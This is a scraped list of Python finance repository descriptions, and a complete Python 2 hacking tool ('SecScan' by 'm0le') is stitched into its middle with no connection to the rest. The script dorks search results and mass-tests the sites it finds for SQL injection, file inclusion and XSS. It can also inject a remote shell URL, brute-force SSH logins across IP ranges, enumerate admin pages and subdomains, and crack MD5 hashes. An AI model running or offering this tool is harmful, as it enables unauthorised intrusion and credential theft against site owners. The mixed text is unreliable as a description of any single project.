Research in investment finance with Python Notebooks

A framework for quantitative finance In python.

Quantitative finance research tools in Python

Julia and Python complex system applications in ecology, epidemiology, sociology, economics & finance; network science models including Bianconi-Barabási, Barabási-Albert, Watts-Strogatz, Waxman Model & Erdős-Rényi; graph theory algorithms involving Gillespie, Bron Kerbosch, Ramsey, Bellman Ford, A*, Kruskal, Borůvka, Prim, Dijkstra, DSatur, Randomized Distributed, Vizing, Topological Sort, DFS, BFS

📈This repo contains detailed notes and multiple projects implemented in Python related to AI and Finance. Follow the blog here: https://purvasingh.medium.com

Tutorials about Quantitative Finance in Python and QuantLib: Pricing, xVAs, Hedging, Portfolio Optimisation, Machine Learning and Deep Learning

Repo for code examples in Quantitative Finance with Python (1st edition) by Chris Kelliher

Python for Finance module for Imperial MSc in Mathematics and Finance

A multi-LLM Python pipeline that fetches your X (Twitter) bookmarks, classifies them by category, extracts structured data from chart images, plans trading strategies or indicators for finance bookmarks, and generates executable TradingView Pine Script v6 — all automatically, in parallel, with SQLite caching so nothing is processed twice.

Detection of Accounting Anomalies in the Latent Space using Adversarial Autoencoder Neural Networks - A lab we prepared for the KDD'19 Workshop on Anomaly Detection in Finance that will walk you through the detection of interpretable accounting anomalies using adversarial autoencoder neural networks. The majority of the lab content is based on Jupyter Notebook, Python and PyTorch.

ECN 5090- Machine Learning in Economics and Finance (Python)

Python in Finance

Quantmodels is a Python package that provides implementations of various financial models commonly used in finance and investment analysis.

streamlit appliations and colab notebooks with introductory material to qf in Python

This repository contains several exercises in Python and R, mainly in the area of finance, financial modeling, and statistics.

Python for Finance: Investment Fundamentals and Data Analytics, published by Packt

personal finance tracker, written in python 3 and using the wxPython GUI toolkit.

DataConverter is a powerful data processing and algorithmic tool,Meet the common data processing needs of C, Java and python programmers in daily programming, and effectively improve work efficiency.Based on reliable algorithm suite, support common cryptography algorithms such as finance, network security and information security, especially support China's national security algorithms SM2, SM3 and SM4.The layout of the interface has been carefully adjusted to support more than ten themes and fonts, support a variety of resolutions, and have a good visual experience.DataConverter 是一款强大的数据处理和算法工具.满足C、Java ，Python程序员的编程中常见的数据处理需求，有效提升Coding效率。基于可靠算法套件，支持金融，网络安全，信息安全等常见密码学算法，特别支持中国国密算法SM2，SM3，SM4.精心调整过界面布局，支持多种主题和字体，支持多种分辨率显示，视觉体验佳。

ScriptUni Python in Finance Certificate Final Project

A Python library for trading in the Indian Finance Sector with support for 15+ broker APIs.

The course is divided into 3 main parts covering python programming fundamentals, financial analysis in Python and AI/ML application in Finance/Banking Industry.

A walk through the frameworks of Python in Finance. The repository is currently in the development phase. The finalized version will include a full-fledged integration and utilization of Quantopian, GS-Quant, WRDS API and their relevant datasets and analytics.

Computational Finance in Python.

Python 3 program to download SEC finance data in XBRL files from EDGAR and convert them into JSON format.

#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()

This Python-written project creates two tools used for the purposes of financial planning: a Personal Finance Planner that allows for users to visualize their savings composed by investments in shares and cryptocurrencies, and a Retirement Planning Tool that uses the Alpaca API to fetch historical closing prices for a retirement portfolio composed of stocks and bonds. Monte Carlo Simulation run.

Networks meet Finance in Python - July 27 2014

Python library for risk management in finance

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AI-driven Personal Goal Assistant: Reinforcement learning-powered software mimics user behavior, interacts with computer inputs, and autonomously achieves goals in finance, social networking, and productivity. Open-source, Python-based RL agent.